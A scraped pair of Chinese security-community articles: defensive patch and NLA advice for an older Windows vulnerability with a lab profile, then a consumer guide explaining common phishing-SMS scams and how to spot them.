* 对于 Windows 7 及 Windows Server 2008 的用户，及时安装 Windows 发布的安全更新。
* 对于 Windows 2003 及 Windows XP 的用户，及时更新系统版本。
* 临时危害减轻措施：开启网络身份验证（NLA）。请注意如果攻击者拥有合法的网络身份，依然可以绕过该身份验证，利用漏洞攻击目标主机。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员，“黑雀攻击”概念首推者。截止目前，ADLab已通过CVE累计发布安全漏洞近1000个，通过
CNVD/CNNVD累计发布安全漏洞近500个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 防骗大课堂之“钓鱼诈骗”年度清单，Pick终极防骗秘籍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
## 花样翻新的ETC诈骗
### 破解密语：
**ETC不存在过期、注销、禁用再认证；**
收到此类短信时认真核实其真伪，可以联系官方客服进行咨询，千万不要盲目点击不明链接。一旦发现被骗，第一时间报警并联系银行挂失、更改密码。
## 被“工商执照年检”围猎的商家
### 破解密语：
**电子营业执照的下载和验证均为免费服务，不向市场主体收取任何费用。**
使用电子营业执照不需要“更新认证电签版本”，不需要经营者提供银行资金账户信息，也不会“自动销户”。
## 疫情当下，骗子趁机搅局，夺笋呐…
### 破解密语：
正规机构名称应该是 **“疾控中心”** ，警惕这种冒充官网发送钓鱼短信，目的就是要套取个人金融账户信息，进行转账、盗刷等操作。
## 异地过年7天乐，影视会员“限时免费”
### 破解密语：
非官方正规平台发布的消息，一律不要相信。尤其是需要预留详细的个人信息才能领取，多半有猫腻。同时， **类似的诈骗还可能是免费领取手机流量，**
换汤不换药，谨防上当。
## 票务退改签出新规，“客服”主动上门要小心
### 破解密语：
不法分子群发机票退改签的钓鱼短信，冒充航空公司客服，利用用户迫切归家或出游的心理，诱导点击钓鱼链接施骗。如收到票务改签的短信，请务必与官方平台联系，了解最新的退改签政策。
## 360安全专家提醒
不要轻点陌生短信中的链接，防止手机中木马病毒。更不要轻易透露自己的个人信息，尤其是涉及银行账户信息时，要高度警惕！凡是以各种理由索要验证码的，都是诈骗！ | 社区文章 |
Subsets and Splits